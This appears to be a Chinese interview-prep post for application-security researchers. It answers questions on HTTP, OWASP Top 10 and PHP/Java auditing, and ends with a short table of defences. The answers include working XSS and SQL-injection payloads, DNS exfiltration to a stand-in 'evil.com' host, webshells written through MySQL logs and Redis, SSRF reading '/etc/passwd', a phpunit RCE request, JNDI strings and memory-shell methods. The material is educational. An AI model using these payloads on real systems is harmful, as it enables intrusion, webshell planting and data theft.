安全领域各种资源,学习文档,以及工具分享、前沿信息分享、POC、EXP分享。不定期分享各种好玩的项目及好用的工具,欢迎关注。
目录
攻防研究员(应用安全)
一、基础部分
1. HTTP状态码对比
2. HTTP请求方法核心作用
3. 网络分层协议速查表
二、OWASP TOP 10攻防要点
1. XSS代码执行原理
2. XSS常用标签与Payload
3. HttpOnly防御机制
4. SQL注入快速检测
5. 无回显注入解决方案
6. MySQL延时注入替代技术
7. DNSLog原理图解
8. 单引号拦截绕过技术
9. MySQL写Shell高阶方法
10. Redis未授权写Shell
11. SSRF利用链与高危协议
PHP安全审计核心要点
1. 审计流程
2. 命令执行函数
3. 文件上传函数
4. 代码执行函数
5. vendor目录风险
6. phpunit漏洞利用
7. 无文件Shell实现
Java安全审计核心要点
1. 通用漏洞组合利用
2. 命令执行函数/包
3. 主流框架漏洞
4. 审计流程与专长
5. Tomcat回显技术
6. 内存马实现方式
防御关键点总结
攻防研究员(应用安全)
# 基础 1. http状态码,502,503,501 2. http请求方式及各自作用 3. 计算机网络的分层及分别有哪些协议# owasp top 10 1. xss如何执行代码 2. xss常用哪些标签 3. http only 4. 怎样判断是否存在注入 5. sql注入无回显怎么办 6. 延时注入除了sleep的其他姿势(mysql) 7. dnslog的实现原理 8. sql注入,单引号被拦截,如何绕过 9. sql注入,写shell的语句,除了into outfile还有什么mysql的特性可以getshell 10.redis的利用,如何shell,相关命令 11.ssrf的原理即后利用,怎么执行命令,常搭配使用的协议# PHP安全相关 1. 审计流程 2. 命令执行函数 3. 文件上传函数 4. 代码执行函数 5. vender目录 6. phpunit 7. php可以构造无文件shell吗# Java安全相关 1. 挖过的通用洞,你会怎么利用(组合) 2. 命令的函数或包 3. java哪些框架,审过哪些框架,它们常出现的问题是什么 4. 审计流程,你一般关注哪些洞,或擅长挖哪种类型 5. tomcat做回显 6. 内存马的实现# 其他 - 写poc/exp的经历和心得 - 复现的一些漏洞 - Linux 提权的姿势 - Linux下有哪些文件进行渗透时比较关注的,及文件权限问题 - dirty cow 的时间及其修复版本(哪年后就没法用了) - 你觉得什么是你自己比较擅长的而我没有问到的
一、基础部分
1. HTTP状态码对比
状态码 含义 触发场景 502
Bad Gateway 网关服务器收到上游无效响应 503
Service Unavailable 服务过载或维护中(临时不可用) 501
Not Implemented 服务器不支持请求方法(如PUT) 补充:502需检查反向代理配置,503常伴随
Retry-After
头部。2. HTTP请求方法核心作用
方法 主要功能 关键特性 GET 获取资源 安全、幂等、可缓存 POST 提交数据(创建/更新资源) 非幂等、请求体传参 PUT 替换整个资源 幂等、需完整资源 DELETE 删除指定资源 幂等 PATCH 局部更新资源 非幂等 注:
HEAD
获取响应头,OPTIONS
查询服务器支持的方法。3. 网络分层协议速查表
分层 核心协议 应用层 HTTP/HTTPS, DNS, FTP, SMTP 传输层 TCP(可靠传输), UDP(低延迟) 网络层 IP, ICMP(ping), ARP(地址解析) 数据链路层 Ethernet, PPP, MAC地址寻址 物理层 光纤、双绞线(定义电气/物理特性)
二、OWASP TOP 10攻防要点
1. XSS代码执行原理
用户输入 → 未过滤嵌入HTML → 浏览器解析执行JS代码
html
复制
<!-- 反射型XSS示例 --> http://site.com?search=<script>**alert(document.cookie)**</script>
2. XSS常用标签与Payload
html
复制
<img src=x **onerror=alert(1)**> <!-- 事件触发 --> <svg **onload=alert(1)**> <!-- 矢量图形利用 --> <a href=**javascript:alert(1)**>XSS</a> <!-- JS伪协议 --> <iframe **src=javascript:alert(1)**> <!-- iframe嵌套 -->
3. HttpOnly防御机制
- 作用:设置
Set-Cookie: sessionID=xxx; **HttpOnly**
- 效果:阻止JavaScript读取Cookie,缓解会话劫持
4. SQL注入快速检测
类型 检测Payload 预期结果 数字型 id=1 **AND 1=1**
→id=1 **AND 1=2**
页面内容变化 字符型 id=' **'**
数据库报错 布尔盲注 id=1' **AND SLEEP(5)**--
响应延迟5秒 5. 无回显注入解决方案
- DNS外带数据(需出网):
sql
复制
SELECT LOAD_FILE(CONCAT('\\\\',(**SELECT password**),'.evil.com\\a'))
- 布尔盲注:二分法逐字符判断
SUBSTRING(password,1,1)='a'
6. MySQL延时注入替代技术
sql
复制
SELECT **BENCHMARK(10000000,SHA1('test'))**; /* CPU计算延时 */ SELECT **GET_LOCK('inject',5)**; /* 数据库锁竞争 */
7. DNSLog原理图解
mermaid
复制
graph LR A[目标服务器] -- 发起DNS查询 --> B(**恶意域名: data.attacker.com**) B --> C[DNS服务器] C --> D[攻击者查看日志] D --> E(获取“data”内容)
8. 单引号拦截绕过技术
- 编码绕过:
CHAR(39)
代替'
(ASCII 39=单引号)- 宽字节注入:
%bf%27
→ GBK编码吞并转义符\
- 数字型注入:直接使用
id=1
避免引号9. MySQL写Shell高阶方法
sql
复制
SET GLOBAL **general_log = 'ON'**; SET GLOBAL **general_log_file = '/var/www/shell.php'**; SELECT '<?php **system($_GET[cmd])**; ?>'; /* 日志写入Webshell */
10. Redis未授权写Shell
bash
复制
CONFIG SET **dir /var/www/html** # 设置Web目录 SET payload "<?php **system($_GET['cmd'])**;?>" CONFIG SET **dbfilename shell.php** # 保存为PHP SAVE # 持久化到磁盘
11. SSRF利用链与高危协议
协议 利用场景 命令执行示例 file:// 读取本地文件 file:///etc/passwd
gopher:// 发送任意TCP请求 构造Redis协议执行 FLUSHALL
dict:// 探测内网端口 dict://127.0.0.1:6379/info
PHP安全审计核心要点
1. 审计流程
mermaid
graph TD A[信息收集] --> B[入口点定位] B --> C{敏感函数追踪} C --> D[漏洞链构造] D --> E[PoC验证]
- 信息收集:
composer.json
依赖分析、框架版本比对(如Laravel CVE-2021-3129 RCE)- 入口点:
$_GET/$_POST
、file_get_contents('php://input')
、$_COOKIE
- 敏感函数追踪:全局搜索
eval
/system
/unserialize
- 漏洞链:如文件上传+路径穿越→本地文件包含→RCE
2. 命令执行函数
高危函数 利用场景 system()
直接执行系统命令 shell_exec()
无回显命令执行(需输出劫持) popen()
管道形式执行命令 proc_open()
多进程控制(可交互式Shell) 3. 文件上传函数
move_uploaded_file()
:
绕过方案:%00
截断(PHP<5.3)、/.
目录穿越(Linux)file_put_contents()
:
风险:<?php
标签直接写入Web目录 → Webshell4. 代码执行函数
函数 触发方式 eval()
直接执行字符串代码 assert()
断言语句执行PHP代码 preg_replace(/e)
修饰符 e
导致代码执行call_user_func()
回调函数执行系统命令 5. vendor目录风险
- 依赖包漏洞:如
phpmailer/phpmailer
< 6.5.3 (CVE-2021-3603 RCE)- 利用方式:
- 查找已知漏洞组件版本(
composer.lock
)- 触发漏洞链(如反序列化+POP链)
6. phpunit漏洞利用
- 未授权RCE:暴露
/vendor/phpunit/phpunit/src/Util/PHP/eval-stdin.php
- Payload:
http
POST /eval-stdin.php HTTP/1.1 Body: <?php system("id"); ?>
7. 无文件Shell实现
技术 原理 内存驻留 通过 php-fpm
未授权访问执行代码反序列化链 利用 Monolog
/Guzzle
库的__destruct
触发OpCache覆盖 篡改缓存文件(需条件:文件可写+已知路径)
Java安全审计核心要点
1. 通用漏洞组合利用
mermaidgraph LR A[Fastjson反序列化] --> B[JNDI注入] B --> C[LDAP恶意类加载] C --> D[远程代码执行]
- 经典组合:
- Shiro RememberMe + 硬编码密钥 → AES反序列化RCE
- Log4j2 +
${jndi:ldap://}
→ 远程类加载2. 命令执行函数/包
类/方法 所属包 Runtime.getRuntime().exec()
java.lang
ProcessBuilder.start()
java.lang
GroovyShell.evaluate()
org.codehaus.groovy
3. 主流框架漏洞
框架 常见漏洞类型 案例 Spring SpEL表达式注入 CVE-2022-22963(Cloud RCE) Struts2 OGNL表达式执行 S2-045(RCE via Content-Type) Shiro 权限绕过/反序列化 CVE-2020-1957(路径绕过) 4. 审计流程与专长
- 核心关注点:
- 反序列化入口(
readObject()
、JSON/XML解析)- 表达式注入(OGNL、SpEL、EL)
- 权限校验缺失(Shiro注解绕过)
- 专长方向:
- Java反序列化链:构造CC链、Tomcat链攻击
- 内存马注入:无文件持久化攻击
5. Tomcat回显技术
- 写入响应流:
java
WebappClassLoader loader = (WebappClassLoader) Thread.currentThread().getContextClassLoader(); ServletContext context = loader.getServletContext(); HttpServletResponse response = (HttpServletResponse) context.getResponse(); response.getWriter().write(" 命令结果");
6. 内存马实现方式
类型 注入点 持久化方式 Servlet型 addServlet()
动态注册恶意Servlet Filter型 addFilter()
拦截所有请求 Agent型 Instrumentation
字节码修改(无文件)
防御关键点总结表
风险类型 PHP防御方案 Java防御方案 命令执行 disable_functions
禁用高危函数SecurityManager限制执行权限 文件上传 MIME检测+随机文件名 文件头校验+独立存储域 反序列化 避免 unserialize
用户输入使用 SafeObjectInputStream
无文件攻击 禁用 php-fpm
未授权访问JVM参数禁止远程类加载